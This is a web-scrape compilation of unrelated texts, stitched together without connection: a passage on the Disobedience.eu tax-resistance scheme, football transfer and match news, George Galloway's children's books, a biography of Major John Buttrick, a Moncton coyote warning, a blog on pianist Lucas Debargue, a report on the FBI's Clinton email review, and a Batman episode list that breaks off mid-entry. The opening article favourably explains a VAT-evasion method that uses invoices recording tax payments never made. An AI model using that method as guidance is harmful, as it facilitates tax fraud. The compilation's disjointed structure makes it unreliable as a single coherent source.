go as follows: Say that John has a balance last trimester that comes to 2,000 euros VAT . John sends an email to Disobedience.eu with the amount he wants to resist (2,000 euros) and they will supply him with an invoice for that amount.  John will pay 8% for the service: management fees (1%) and a contribution to a common fund (7%). “The rest (92%), although recorded as paid, will not actually be charged. As far as I know, to forgive a debt is not a crime,” says Güell.  So John has an invoice that states that he has made a tax payment in Spain, although in reality no such thing happened.  “In the EU there is free trade, but in practice there is no common fiscal policy, and the justice system is not coordinated. The countries as a result have trouble obtaining information from one another. The big companies benefit from this, and now the little guy can do so as well. It would be very difficult for the administration of the country where he is consulting to know who has not claimed the income.”  John has evaded taxes, mimicking the techniques of the big multinationals, but for another purpose.  “92% of the money is yours. The idea is that you can dedicate it to projects for the common good, which are increasingly privatized or abandoned by the state.” For example, a support network for refugees or school libraries.  Desobedience.eu was inspired by the Coperativa Integran Catalana and the Right of Rebellion Collective, and will be linked to the international Fair Coöp collective. For this reason, Güell expects there will be a rapid increase of clients, projects, and affinity groups: “The assignment of the funds is up to each client. Nobody will be monitoring or checking on where it is going.”  Isn’t this a do-gooder form of tax evasion? How can you prevent “dishonest” evaders from using this tool?  Activists will sift the clients: “If a capitalist business wants to use this service to evade taxes, it will be turned down. On the other hand, a group of lawyers with a social focus have already been accepted.”  Gandhi versus Starbucks  The tax disobedience initiative has sparked interest, but also an understandable fear of possible legal problems. Güell asserts that the activists involved have everything sorted out: “The only people who run a real risk are those who put in their names to form the company, but they are insolvent and that protects them.”  Throughout history there are numerous examples of economic disobedience. “From the Boston Tea Party in 1773 to the Salt March of Mahatma Gandhi in 1930 .” Though there are also much more recent examples:  In 2015 the residents of Crickhowell, a town in Wales, grew tired of paying much more in taxes than Starbucks and decided to declare themselves a tax-free town and to create a company in the Cayman Islands: “They initiated a collective action of tax resistance, and since then the State has not done anything.”  With the activists of Disobedience.eu there is more resolution to attack the core of the system than fear of the possible repercussions. Furthermore, for Güell, economic disobedience is better politics than voting in democratic elections.  “If we do not have autonomy with respect to the Troika and the markets, there is no way to advance the many initiatives that we put forward. They are the obstacle, because they are above democracy. The dictator is only a dictator if he has subjects; disobedience is the only way remaining to us. Furthermore, disobedience is intrinsic to democracy.”  The real hurdle is to go beyond the environmental activists and the more politicized minorities and to extend the initiative across the whole population.  “Workplace exploitation; inability to make ends meet; a rainbow assortment of pills for depression; daily suicides from eviction, foreclosure, or meaninglessness; and murderous barbed-wire over some fictitious dividing lines. Why dedicate your life to feed this machinery that only benefits a minority?” asks Güell.  “You just need to open your eyes to notice that Europe is at a dead-end, caught between the technocrats of the Troika and the anti-immigration nationalists. The European Union is no more than a financial plan for plundering social wealth and impoverishing the workers, a set of legalized financial crimes that act to transfer the income of citizens to the banks and large corporations.” And as such, the response should be collective and in the financial sphere.  As Aristotle told us, politics does not manage the public sphere, rather our everyday actions are what create policy.
-ES Football Newsletter Enter your email address Please enter an email address Email address is invalid Fill out this field Email address is invalid You already have an account. Please log in or register with your social account  Jan Vertonghen has backed Vincent Janssen to turn around his Tottenham career after he played a crucial role in the win at Swansea.  After coming on as a second-half substitute, Janssen produced a brilliant back-heel in stoppage time that sent Heung-min Son clear to score the second goal in Tottenham’s 3-1 win.  Janssen has still to score in open play in the Premier League for Spurs following his £18million move from AZ Alkmaar last summer, and has only five goals in all competitions. In 2015-16, he was top scorer in the Dutch top flight with 27.  Vertonghen joined Spurs from Ajax in 2012, so he understands the challenges of swapping the Eredivisie for the Premier League.  He said: “You get a lot more space. Every team in Holland wants to attack and they don’t really think about defending.  “That’s the philosophy - just play 4-3-3 and play good football in possession, and don’t think too much about defending. That’s why I think strikers get so many chances and goals in Holland, and obviously it’s different here.  “I think the tactics are less naïve. Swansea defended for 90 minutes but they were very close to beating us. But Vincent is adapting very well now. He understands the way the gaffer wants him to play. He’s so strong, he just needs that goal and then he’ll be on fire.  “I’m so happy for him. Vincent’s working very hard. Obviously it wasn’t the start he wanted but he’s showing now what he’s capable of. He made a big difference when he came on against Swansea.  “Can he succeed in the Premier League? Definitely, yes. I am convinced of it.”
-Image copyright Getty Images Image caption Mr Galloway is already a published author, but this will be his first foray into children's books  Former MP George Galloway has signed a deal to write a series of children's books.  He made the announcement on Twitter, saying they would be about an "ethical pirate".  The title of the series is Red Molucca and the Good Pirate and is due to be published later this year.  Mr Galloway has already written a number of novels for adults, including the Fidel Castro Handbook and Mr Galloway goes to Washington.  Image copyright Twitter  "I will shortly have four children under ten years old and I have four young grandchildren too, ranging from three to 14," he told the BBC.  "They read and I've bought (and read to them) a lot of children's books. All have been fascinated by pirates. Judging by the success of Pirates of the Caribbean so are many adults!"  But Mr Galloway said the rum-drinking, cut-throat, walking the plank-type characters were not the right role models.  "Enter an ethical pirate, Red Molucca," he said. "A husband and father whose family (and dog) pirate alongside him. A kind of Robin Hood of the high seas."  'Top secret'  The new stories are set amongst the Spice islands of Indonesia during colonial rule.  Illustrator Joe Cook said the final style of the books is "top secret".  "I got involved because George represents an under-reported and undervalued perspective on the world," he told the BBC. "The project is great fun too!"  Mr Galloway, a former Labour and Respect MP, did not reveal who the publishers were but said the books would be released in English, Dutch and Indonesian.
-Major John Buttrick (July 20, 1731— May 16, 1791, Concord, Massachusetts) was one of the leaders of the Concord militia during the Battle of Concord on April 19, 1775.[1] Given the usual interpretation of the first stanza of Ralph Waldo Emerson's famous poem "Concord Hymn," Buttrick is the man who ordered "the shot heard around the world."  Battle of Concord [ edit ]  Buttrick played two notably critical roles in the Battle of Concord. Prior to the battle, the Concord militia and neighboring towns—then outnumbered by about 700 to 250—retreated to a ridge overlooking Concord as its command discussed immediate strategy. Colonel James Barrett surrendered the town of Concord and led the men across its Old North Bridge to a hill about a mile north of town, where they could continue to watch the troop movements of the British and the activities in the center of town. (This step proved fortuitous, as the ranks of troops continued to grow as Minuteman companies and additional militia arriving from the western towns joined them there.)  British Companies from the 4th and 10th Regiments, led by relatively inexperienced commander Captain Walter Laurie, had been stationed to guard their return route of the British troops; one company from the 43rd Regiment remained guarding the bridge itself. Upon seeing smoke rising from the village square, and seeing only a few companies directly below them, Colonel Barrett decided to march back toward the town from their vantage point on Punkatasset Hill to a lower, closer flat hilltop about 300 yards (274 m) from the North Bridge. Five full companies of Minutemen and five more of militia from Acton, Concord, Bedford and Lincoln occupied this hill as more groups of men streamed in, totaling at least 400 against Captain Laurie's light infantry companies, a force totaling 90–95 men.  As the militia advanced, the by now outnumbered British troops retreated from their position near the road to the bridge, yielding the hill to Barrett's men.[2] Barrett ordered the Massachusetts men to form one long line two abreast on the highway leading down to the bridge. At around 10:30 a.m., after further consultation with his fellow officers, Barrett told the men to load their weapons but not to fire unless fired upon, and then ordered them to advance to the bridge. The militia troops approached the bridge in a column of two men abreast, they were led by their officers: Captain Isaac Davis, Major Buttrick of Concord, and Lt. Col. John Robinson of Westford.[3]  The column of Minutemen and militia advanced on the light infantry in formation, keeping to the road, since it was surrounded by the spring floodwaters of the Concord River.[4] Laurie ordered the British companies guarding the bridge to retreat across it. One officer then tried to pull up the loose planks of the bridge to impede the colonial advance, but Major Buttrick began to yell at the regulars to stop harming the bridge, preserving the militiamen's ability to continue to pursue their aims.  When the provincials were within about 75 yards of the bridge, the Regulars fired a few warning shots, wounding one. The British then fired a disorganized volley. Captain Davis was shot through the heart, becoming the first officer to die in the American Revolutionary War.[5] At the same moment, Private Abner Hosmer of Acton became the first non-commissioned soldier to die. Seeing these casualties, Buttrick commanded, "Fire, fellow soldiers, for God's sake fire!"[6]  The provincials returned fire, causing the British to abandon their wounded and immediately raced towards the advancing companies of British grenadiers approaching from Concord. This left isolated the companies that had been searching fruitlessly for the colonists' munitions at Barrett's farm. Buttrick and his militiamen then crossed the bridge to assume a defensive posture behind a stone wall.  As the detachment of regulars sent to Barrett's farm marched back, they passed through the now mostly-deserted battlefield and saw dead and wounded comrades lying on the bridge. One who had been killed by a hatchet to the head looked to them as if he had been scalped, angering and shocking them. They crossed the bridge and returned to the town by 11:30 AM, under the watchful eyes of the colonists, who continued to maintain defensive positions. The regulars continued to search for and destroy colonial military supplies in the town, ate lunch, reassembled for marching, and left Concord after noon. This delay in departure gave colonial militiamen from outlying towns additional time to reach the road back to Boston—on which they would inflict upon the British their worst casualties of the day.  Legacy [ edit ]  Inscribed at the base of the statue called "The Minute Man," placed on the approximate site of Davis's death, is the first stanza of his "Concord Hymn," written in 1836:  By the rude bridge that arched the flood,  Their flag to April's breeze unfurled,  Here once the embattled farmers stood  And fired the shot heard round the world.  While the first shots of the exchange, like all shots that had found their targets earlier that morning at the skirmish in Lexington, had come from the British, it was the colonists' retort that Emerson had intended to memorialize. That first ever wartime attach by the colonial forces of the American Revolutionary War came at the order of the Major marching at the head of their advancing line, John Buttrick.  Notes [ edit ]
-The city of Moncton is warning the public about a potentially aggressive coyote roaming along the North West Trail.  A wildlife control officer has been hired to track the animal down, based on a recent encounter by a woman, said Dan Hicks, the city's supervisor of parks and grounds.  The way the coyote acted is cause for concern, said Hicks.  "It wasn't easily frightened off," he said. "Basically, she threw some material at the coyote to have it leave the area. That's very inconsistent with your typical behaviour."  "Usually when an animal like that is bold or emboldened, it means they could be suffering from an injury or an illness and may not be in its typical state of mind," he said.  "Therefore there is a little bit more risk to humans and animals and pets as they take more risks to be able to survive."  Hicks says people walking on the city's trails should always keep their pets on a leash, be aware of their surroundings and if they see a coyote, they should leave it alone.  "It's good to know someone is looking for it," said Alisha Roberge, who walks the North West Trail about once a week and was there with her young daughter on Thursday.  Roberge says she has never seen a wild animal in the area, but says it's not shocking a coyote would be there, given it was wilderness until recently.  "Our house is only four years old. That's how long we've been living here for, so it's a fairly new area," she said. "They are doing a lot of building."  Hicks agrees wildlife sightings are bound to increase as the city expands into rural areas, but says this coyote sighting stands out because of its unusual behaviour.
-I am delighted to publish a guest post from Frances Wilson, who blogs as The Cross-Eyed Pianist  Much has been written about the young French pianist Lucas Debargue, a finalist in the 2015 edition of the prestigious International Tchaikovsky Competition. The concept of him being “self-taught” (until relatively recently) has been debated across a number of articles, together with his rather unusual technique (“Scales played with only the thumb and index finger and his pinkie sticking up as daintily as Hyacinth Bucket’s” – The Spectator, 18/7/15) and glorious sound. He’s not out of the traditional mold of the international competition winner (commences piano studies at a young age, undertakes rigorous study with a master teacher and progresses to the “Three C’s” of Conservatoire, Competition and Concerto) – and he didn’t even wear a tie during the final!  In an honest and touching interview with Ismene Brown of The Arts Desk, Debargue comes across as a sensitive and intellectual young man for whom music is profoundly important, not just in terms of beautiful sound, but also as a “a place to live in. It’s about real emotions, real sensations”.  Let’s just clear up a few inaccuracies. In ‘The Spectator’ article quoted above, he is described as “the man who came last”. He didn’t come last. He achieved what most can only dream of: he reached the final of the most prestigious piano competition in the world. That he did this following only four years professional study with a Russian master teacher (Rena Shereshevskaya) is remarkable. (And by the way, it doesn’t really matter that his scale fingering is unusual: there is no “one size fits all” fingering scheme, because hands and fingers come in different sizes.) Now everyone is asking what next for this extraordinary young man?  It is at this point that I start to worry for a talented and obviously sensitive young man like Lucas Debargue. He is not the first, and certainly won’t be the last, young artist to be thrust into the limelight before he is ready. Unlike the other competition finalists, he has not undergone the long and rigorous traditional professional training which would prepare him for the concert platform: he still needs to hone his stagecraft and, more importantly, learn how to deal with the journalists, agents, promoters, and fans who besieged him as the competition progressed – and continue to. The classical music industry is not a particularly pleasant place, and the world of international pianism is highly competitive, almost ruthlessly so. At the big competitions, representatives from the big artist agencies are waiting to scoop up the winners and runners up, offering tempting contracts, a slew of international engagements, recording deals and more (look how much Martin James Bartlett, winner of the BBC Young Musician of the Year 2014, has done since his win, including several performances at the Proms, and he’s only just 19; he has, however, undergone a professional training in specialist music school and conservatoire). It’s true that success in an international competition can make an artist – but it can break one too. From the moment one chooses the life of the international concert pianist, one lives in the public eye: every performance and recording is held up for scrutiny, and one is under almost continual pressure to meet the expectations of agents, promoters, fickle audiences, critics and fans.  The life of the concert pianist is tough, restrictive and lonely. In addition to the many hours of solitary practise, there is the travelling, nights spent in faceless hotels, fine historic cities viewed through a fog of fatigue, never having the option to be less than perfect, even if one is ill or tired, knowing that one is judged on one’s last performance (here I recall the unpleasant hoopla surrounding Ivo Pogorelich’s London concert in February). The pressure can be unbearable if one is not equipped to handle it. (Read Charles Beauclerk’s excellent and sympathetic biography of John Ogdon for some brutal insights into the life of the international concert pianist. For Ogdon, the piano was his saviour and his tormentor, and there is no question that the pressure of so much traveling to perform around the world contributed to his breakdown.)  Add to this that peculiarly British fascination with the maverick, the eccentric, the tortured genius with the unconventional “backstory”. We risk endangering Debargue further by holding him up as curiosity, instead of allowing him to develop and mature in his own time. There is something very authentic about his playing, his particular soundworld and his special and personal connection to the music which has clearly touched people.  Lucas Debargue plays Ravel – ‘Gaspard de la Nuit’  In his interview with Ismene Brown, Debargue talks of having few friends and little support from his family. His teacher was his mentor and supporter, encouraging him to take a tilt at the Tchaikovsky Competition and saying when he got through the first round “It doesn’t matter when you pass or not, it’s really good that you are here to play and I am grateful and proud of you.” He has yet to develop the necessarily resilience, thick skin and artistic temperament to survive the “wild west” of the international concert circuit, and I only hope that whoever he chooses to manage him, should he decide to go down that route, is sympathetic and puts his well-being before all else. Otherwise, I dread to think what might happen….  So please let’s allow him – and others like him – to develop at his own pace to emerge onto the international circuit, should he choose that path, when he is truly ready. To conclude this article, I think it is worth quoting a comment on Peter Donohoe’s piece for Slipped Disc about the competition (Peter was a juror this year):  Aside from all of this, what happens to each of these young artists remains to be seen. How will they carry on with their studies as musicians? Which repertoire will they cultivate? Will they develop chamber music careers, teaching, new works, recordings? This is what is most important as they begin to soul search and decipher how and what they will contribute to the world of music outside of the usual parameters. (Jeffrey Biegel)  Read Peter Donohoe’s thoughtful and intelligent article here.  View clips of Lucas Debargue’s performances in the International Tchaikovsky Competition  Frances Wilson is a pianist, piano teacher, concert reviewer and blogger on classical music and pianism as The Cross-Eyed Pianist. In addition to her blog, she writes a regular column on aspects of piano playing for Pianist magazine’s online content, and is also a writer for Hello Stage and InterludeHK.  www.crosseyedpianist.com  Twitter @CrossEyedPiano
-Sporting Lisbon striker Islam Slimani is attracting interest from a string of Premier League clubs, including two that will play in the Champions League this season, Sky sources understand.  The 28-year-old Algeria international has scored 56 goals in 107 appearances for Sporting, including 32 in 44 last season.  A number of Premier League clubs want to sign a top quality centre-forward this summer and, with options limited, they have turned their attentions to a player who would cost upwards of £20m.  Sporting want to keep Slimani and, aware of interest from England, they have offered him a new contract to stay in Portugal.  But Sky Sports News HQ has been told that Slimani feels it is the right time to move on and wants to play in the Premier League.  It is understood the player recently had a meeting with Sporting president Bruno de Carvalho in which he was assured a move away was on the table after he scored so prolifically in the Portuguese Primeira last term.  Slimani recently impressed in a pre-season friendly against German club Wolfsburg, after which their centre-back Dante heaped praise on his opponent.  He said: "Marking Slimani was very difficult because he is a player who always looks to come deep.  "He's a big-club player. The coach's philosophy is for a lot of ball movement, and William Carvalho and Slimani are two excellent players."
-Donald Trump and his aides are expressing skepticism at how quickly the FBI was able to review hundreds of thousands of emails in the latest probe in the Hillary Clinton email investigation.  The FBI revealed Sunday that it had found nothing new in the emails from top Clinton aide Huma Abedin that were found on the laptop belonging to her estranged husband, Anthony Weiner. In a letter to lawmakers on Capitol Hill, Comey said he was not changing his recommendation from July that no charges should be brought against Clinton.  During a rally Sunday, however, Trump said it’s not possible that the FBI was able to review so many emails in just nine days.  “You can’t review 650,000 new emails in eight days,” He continued. “You can’t do it, folks.”  A report from Wired, however, said that Trump is wrong and that the FBI can review that amount in just a week, if not sooner.  “This is not rocket science,” Jonathan Zdziarski, a forensics expert who’s consulted for law enforcement, told Wired. “Eight days is more than enough time to pull this off in a responsible way.”  The technology news outlet also interviewed an anonymous former FBI forensics experts who said the agent reviewed larger collections of data even faster than the current case.  “You can triage a dataset like this in a much shorter amount of time,” the agent told Wired, according to the report. “We’d routinely collect terabytes of data in a search. I’d know what was important before I left the guy’s house.”  The former agent also said that the FBI has tools that can sift out classified documents, which the agent said is similar to software used to detect plagiarism.  Both sources told Wired that investigations can filter out emails by targeting “to” and “from” as well as filtering out duplicates.  The review of the emails found in the new batch found that most were duplicates, CBS News confirmed Sunday.  “The Department of Justice and the FBI dedicated all necessary resources to conduct this review expeditiously,” a Justice Department spokesperson said in a statement.  Even NSA leaker Edward Snowden proposed his own method on Twitter of sifting through such a large batch after a journalism professor asked him how it could be done.
-No. in  series No. in  season Title Directed by Written by Original air date Villain(s)  A mysterious bat-like creature terrorizes Gotham City, causing the police force to pursue Batman. The Dark Knight must find the real perpetrator to clear his name.  After escaping Arkham Asylum on Christmas Eve, the Joker takes over Gotham's airwaves and terrorizes the city for a crime. He challenges Batman and Robin to find his hidden TV studio and free his hostages – Commissioner Gordon, Detective Bullock and Summer Gleeson – before midnight.  Batman encounters the Scarecrow and attempts to foil his scheme to burn down Gotham University, but in the process is exposed to the Scarecrow's fear gas, and is forced to face his own guilt over the death of his parents. Note: This episode introduced the popular line "I am vengeance. I am the night. I am Batman!"[1]  4 4 "The Last Laugh" Kevin Altieri Carl Swenson September 22, 1992 ( ) The Joker  The Joker covers Gotham City in a cloud of laughing gas and begins plundering the crazed city. But after Alfred is infected with the toxin, Batman has added incentive to stop the Joker and acquire an antidote from him before all of Gotham dies with a smile.  When District Attorney Harvey Dent collapses after a meal with his fiancée Pamela Isley and friend Bruce Wayne, doctors discover that he has been poisoned. Batman must find the culprit and the antidote before the DA's time runs out.  6 6 "The Underdwellers" Frank Paur Story by : Tom Ruegger  Teleplay by : Jules Dennis and Richard Mueller October 21, 1992 ( ) Sewer King  Batman traces a series of bizarre robberies on the streets of Gotham back to a band of homeless children, who have been raised to do the bidding of their master, the Sewer King.  7 7 "P.O.V." Kevin Altieri Story by : Mitch Brian  Teleplay by : Sean Catherine Derek and Laren Bright September 18, 1992 ( ) The Drug Lord  and his Gangsters  A botched police operation results in the suspension of those involved: Officer Wilkes, Officer Montoya, and Detective Bullock. Confronted by their superiors, each of them is forced to tell their tale of what happened that night. The episode is similar in structure to Akira Kurosawa's film Rashomon.  8 8 "The Forgotten" Boyd Kirkland Jules Dennis, Richard Mueller and Sean Catherine Derek October 8, 1992 ( ) Boss Biggis  and his henchmen  While investigating the disappearances of Gotham's homeless in an undercover disguise, Bruce Wayne is kidnapped and imprisoned in a chain gang mining camp, suffering from amnesia. Alfred must thus track him down, help him escape, and free the rest of the prisoners.  9 9 "Be a Clown" Frank Paur Ted Pedersen and Steve Hayes September 16, 1992 ( ) The Joker  Mayor Hamilton Hill's miserable son, Jordan, becomes even sadder when his father uses his birthday party as a political gathering rather than a normal celebration, and ends up stowing away in the truck of the party clown hired by Hill for the party, whom he doesn't know is actually the Joker in disguise. It is now up to Batman, whom Mayor Hill distrusts, to rescue the boy before it is too late.  10 10 "Two-Face: Part 1" Kevin Altieri Story by : Alan Burnett  Teleplay by : Randy Rogel September 25, 1992 ( ) Rupert Thorne  Mobster Rupert Thorne attempts to use Harvey Dent's secret split personality to blackmail him. But when Dent meets with Thorne at a chemical plant, "Big Bad Harv" takes over, and the resulting confrontation leads to an explosion that horribly scars half of Dent's face.  11 11 "Two-Face: Part 2" Kevin Altieri Randy Rogel September 28, 1992 ( ) Rupert Thorne  and Two-Face  Harvey Dent, now calling himself Two-Face, resurfaces and starts robbing Rupert Thorne's illegal businesses, preparing for a final confrontation with the crime boss, and Batman must stop his former friend before he and Thorne kill each other. Note: Batman's method of defeating Two-Face in this episode (using a case of coins) was later used in the climax of Batman Forever.  12 12 "It's Never Too Late" Boyd Kirkland Story by : Tom Ruegger  Teleplay by : Garin Wolf September 10, 1992 ( ) (weekday)  January 17, 1993 ( ) (primetime) Rupert Thorne  and Arnold Stromwell  A mob war between crime bosses Rupert Thorne and Arnold Stromwell is nearing its end, and comes to a climax when Stromwell is set up to be killed in an exploding restaurant by Thorne. Batman saves him at the last moment, and aided by Stromwell's brother (now a priest who lost his leg years before, an accident for which Stromwell carries a secret guilt), tries to persuade him to give up his life of crime and help the police bring Thorne down by testifying against him.  13 13 "I've Got Batman in My Basement" Frank Paur Sam Graham and Chris Hubbell September 30, 1992 ( ) The Penguin  During a fight with Batman over a stolen Fabergé egg, the Penguin incapacitates Batman with poison gas. The Dark Knight is rescued by a teenage amateur detective named Sherman Grant and his friend Roberta, who hide Batman in Sherman's basement long enough for him to recover before the Penguin finds them.  Bitter scientist Victor Fries, as Mr. Freeze, attacks several divisions of GothCorp, each time stealing a piece for a secret weapon he intends to build. Batman investigates the connections, and discovers that the start of Freeze's vendetta against GothCorp was a bitter falling out between Fries and GothCorp's CEO, Ferris Boyle (Mark Hamill), during which Boyle almost killed Fries (mutating him into Freeze) and presumably killed Fries' terminally ill wife, Nora. Batman must find a way to bring Boyle to justice before Freeze carries out his revenge. Note: This episode won the series a 1993 Daytime Emmy Award for Outstanding Writing in an Animated Program.[2]  15 15 "The Cat and the Claw: Part 1" Kevin Altieri Story by : Sean Catherine Derek and Laren Bright  Teleplay by : Jules Dennis and Richard Mueller September 5, 1992 ( ) Catwoman and Red Claw  Batman encounters a new cat burglar calling herself Catwoman, and around the same time, meets a woman named Selina Kyle (as Bruce Wayne), to whom he is visibly attracted. When Selina runs into trouble with a terrorist group known as The Red Claw, who want the mountain lion sanctuary she was trying to protect, she decides to take matters into her own hands and investigate.  16 16 "The Cat and the Claw: Part 2" Dick Sebast Story by : Sean Catherine Derek and Laren Bright  Teleplay by : Jules Dennis and Richard Mueller September 12, 1992 ( ) Red Claw  The leader of the Red Claw group (known herself only as Red Claw) attacks a military train and steals a viral plague, which she intends to release in Gotham if she isn't paid a ransom, and Batman and Catwoman must put aside their differences and work together to stop Red Claw before it is too late.  17 17 "See No Evil" Dan Riba Martin Pasko February 24, 1993 ( ) Lloyd Ventrix  Lloyd "Eddie" Ventrix is on the verge of losing his daughter, Kimberly, to his ex-wife, Helen, due to his past as a con artist. Determined not to lose Kimberly, Ventrix dons a suit, stolen from where he used to work while on parole, which grants the user invisibility but also becomes highly toxic, and poses as Kimberly's imaginary friend, Mojo, while stealing jewellery for her. Batman must solve the mystery crimes and stop Ventrix, despite the fact that he cannot even see him. Note: Michael Gross, who provided the voice of Ventrix, later voiced Warren McGinnis in Batman Beyond.  18 18 "Beware the Gray Ghost" Boyd Kirkland Story by : Dennis O'Flaherty and Tom Ruegger  Teleplay by : Garin Wolf and Tom Ruegger November 4, 1992 ( ) The Mad Bomber  Simon Trent, an actor best known for his past role as "The Gray Ghost", is on the verge of bankruptcy thanks to his declining career. To save himself, he sells off all of his Gray Ghost merchandise. Immediately afterwards, a series of crimes related to the old show begin to occur. Batman, having himself been inspired partly by the show to become the crimefighter he now is, goes to Trent for help, and they team up to put an end to the crimes, and also revive Trent's career. Note: The Gray Ghost was voiced by Adam West, the star of the 1960s television show Batman.  19 19 "Prophecy of Doom" Frank Paur Story by : Dennis Marks  Teleplay by : Sean Catherine Derek October 6, 1992 ( ) Nostromos and Lucus  Batman investigates a cult, called the Brotherhood, founded by the "mystic" Nostromos, after hearing about a number of stories from his colleagues about his ability to predict the future. Batman finds out that Nostromos is actually a con artist who was rigging near-fatal accidents to gain the confidence of Gotham's upper class citizens, and he must expose this ruse before it is too late.  20 20 "Feat of Clay: Part 1" Dick Sebast Story by : Marv Wolfman and Michael Reaves  Teleplay by : Marv Wolfman September 8, 1992 ( ) Roland Daggett  Bruce Wayne is framed for the attempted murder of Lucius Fox. The real perpetrator is an actor and master of disguise named Matt Hagen, who was disfigured in a car accident years ago. In order to keep his fame, he secretly started working for Roland Daggett, who provides him with a monthly supply of an addictive face cream known as Renuyu (a pun on "Renew You") that can temporarily reshape his face back to normal, and who wants to take Wayne Enterprises over for marketing expansion. For botching the murder, Hagen's supply is cut off, and when he breaks into Daggett's lab for more Renuyu, he pays the price dearly when Daggett's men drench his face in the formula and force him to swallow liters of it to avoid drowning. Meanwhile, Bruce Wayne is arrested and taken into custody, charged with the assault on Fox.  21 21 "Feat of Clay: Part 2" Kevin Altieri Story by : Marv Wolfman and Michael Reaves  Teleplay by : Michael Reaves September 9, 1992 ( ) Clayface and  Roland Daggett  Bruce Wayne is released from prison on bail. Hagen, as it turns out, survived the murder attempt on him, but at a high cost: the formula entered his body and soaked every single one of his cells, turning him into a shape-shifting mutant. With his newfound powers, Hagen, now calling himself Clayface, decides to take his revenge on Daggett and his men, and Batman must bring Daggett to justice and stop Clayface before innocent people are hurt.  22 22 "Joker's Favor" Boyd Kirkland Paul Dini September 11, 1992 ( ) (weekday)  January 31, 1993 ( ) (primetime) The Joker and Harley Quinn  After a man named Charlie Collins curses at the Joker on the road for offensive driving, the Clown Prince of Crime corners him and intimidates him into doing him a "small favor". Two years pass, and the Joker finally decides how to use Charlie: to sneak a bomb into the Peregrinator's Club, where Commissioner Gordon is to give a speech at an award ceremony. Charlie, who merely has to open the door, is skeptical at first, but for the sake of his family, he reluctantly decides to obey. Note: This episode features the debut appearance of the Joker's accomplice and love interest, Harley Quinn.  23 23 "Vendetta" Frank Paur Michael Reaves October 5, 1992 ( ) Killer Croc  Detective Bullock is arrested for kidnapping. Batman, who dislikes Bullock but nevertheless believes him to be a good man, investigates, and discovers the identity of the real criminal: Killer Croc, who harbors a vendetta against Bullock for capturing him once. Batman must clear Bullock's name before it is too late.  24 24 "Fear of Victory" Dick Sebast Samuel Warren Joseph September 29, 1992 ( ) The Scarecrow  The Scarecrow invents a fear chemical that is activated by adrenaline. Then, he uses it to affect the outcome of athletic events. Whenever a single person becomes agitated, the fear chemical kicks in, turning his excitement to fear. The Scarecrow bets against the sports stars' teams as part of his criminal scheme to scare up some quick cash, and Batman and Robin must foil his plot.  25 25 "The Clock King" Kevin Altieri David Wise September 21, 1992 ( ) Clock King  After his company goes bankrupt, Temple Fugate becomes the Clock King. Fugate sets out to seek his revenge against the man whom he blames for his misfortunes: Mayor Hamilton Hill. Fugate kidnaps Hill, intending to do away with him to accomplish his revenge. Batman must stop Fugate from carrying out his revenge and save the mayor's life.  26 26 "Appointment in Crime Alley" Boyd Kirkland Gerry Conway September 17, 1992 ( ) Roland Daggett  With the help of arsonists, Roland Daggett plans to destroy Crime Alley and use the land to expand his business empire. Note: Based on the comic-book story "There Is No Hope in Crime Alley" (Detective Comics #457, March 1976) by Denny O'Neil and Dick Giordano.  27 27 "Mad as a Hatter" Frank Paur Paul Dini October 12, 1992 ( ) The Mad Hatter  Miserable Wayne Industries scientist Jervis Tetch is unable to pursue the girl he loves, Alice the secretary. When she splits up from her boyfriend, he makes an advance and develops a fast friendship with her, until her boyfriend reconciles with her and proposes to her. Enraged, Tetch decides to take matters into his own hands, and dons the mantle of the Mad Hatter, using his mind-control devices to force those who have wronged him all his life to become his mindless slaves.  28 28 "Dreams in Darkness" Dick Sebast Judith & Garfield Reeves-Stevens November 3, 1992 ( ) (weekday)  December 20, 1992 ( ) (primetime) The Scarecrow  Batman is incarcerated in Arkham Asylum after being exposed to the Scarecrow's fear-inducing gas. Batman knows that the Scarecrow has escaped for the second time and is planning to poison Gotham's water supply with the same fear-inducing gas, and he must bring himself to break the law and escape from Arkham before the Scarecrow brings Gotham to its knees. Notes: Loosely based on "Batman: The Last Arkham" of Batman: Shadow of the Bat #1–4 by Alan Grant. This episode adapted the comic book story with the inclusion of the Scarecrow instead of Victor Zsasz and Dr. Bartholomew instead of Jeremiah Arkham.  #1–4 by Alan Grant. This episode adapted the comic book story with the inclusion of the Scarecrow instead of Victor Zsasz and Dr. Bartholomew instead of Jeremiah Arkham. The Scarecrow's scheme in this episode was similarly used by Ra's al Ghul (with assistance from the Scarecrow) in Batman Begins .  . The Joker's real name is implied to be Jack Napier when Dr. Bartholomew, who thinks the patients' alter egos as supervillains are a product of Batman's fantasy, mentions it among the names Harvey Dent and Pamela Isley.  29 29 "Eternal Youth" Kevin Altieri Beth Bornstein September 23, 1992 ( ) Poison Ivy  Several rich industrialists are invited to the Eternal Youth Health Spa, and that's where they are last seen before disappearing. The only connection: they had something to do with the death of plants. Bruce Wayne also receives an invitation (although it was one of his greedy directors who nearly made the deal to destroy a rainforest before Bruce forced him to shut the operation down), but Alfred and his "lady friend", Maggie, go in his place. When they do not return, Batman is forced to investigate, discovering that the spa is run by Poison Ivy, and that she has been using a formula to turn the industrialists into humanoid trees, including Alfred and Maggie.  30 30 "Perchance to Dream" Boyd Kirkland Story by : Laren Bright and Michael Reaves  Teleplay by : Joe R. Lansdale October 19, 1992 ( ) (weekday)  March 14, 1993 ( ) (primetime) The Mad Hatter  Bruce Wayne wakes up one morning to find that his life is completely upside-down: his parents are alive, the Batcave does not exist, Alfred does not remember Robin, and he is engaged to Selina Kyle. However, it doesn't mean that Batman isn't still around, and Bruce starts to wonder what has happened, especially after seeing the characteristics of a dream (such as book and newspaper prints not making sense) inside this new life.  31 31 "The Cape and Cowl Conspiracy" Frank Paur Elliot S. Maggin October 14, 1992 ( ) Josiah Wormwood  Baron Jozek, furious at Batman for humiliating him at a dinner party (over Jozek's underworld connections), hires Josiah Wormwood, a master in setting traps for his victims, to hunt down Batman and bring back the hero's cape and cowl. Note: Based on the comic-book story "The Cape and Cowl Death Trap!" from Detective Comics #450 August 1975, written by Elliot S. Maggin.  32 32 "Robin's Reckoning: Part 1" Dick Sebast Randy Rogel February 7, 1993 ( ) (primetime)  May 17, 1993 ( ) (weekday) Tony Zucco and Arnold Stromwell  During a fight with some gangsters at a construction yard, Batman and Robin learn the name of their boss: Billy Marin. While Robin looks forward to going up against Marin, Batman becomes distant, and after a falling out at the Batcave, Batman doesn't allow Robin to accompany him on the search for Marin. Robin investigates on the Batcomputer, and soon realizes that Billy Marin is not the boss' real name. Rather, it is an alias of Tony Zucco, the man who killed his parents (which Batman already knew, but chose not to tell Robin). Notes: The flashbacks to Robin's origin story is based on Detective Comics #38 (June, 1940).  #38 (June, 1940). This 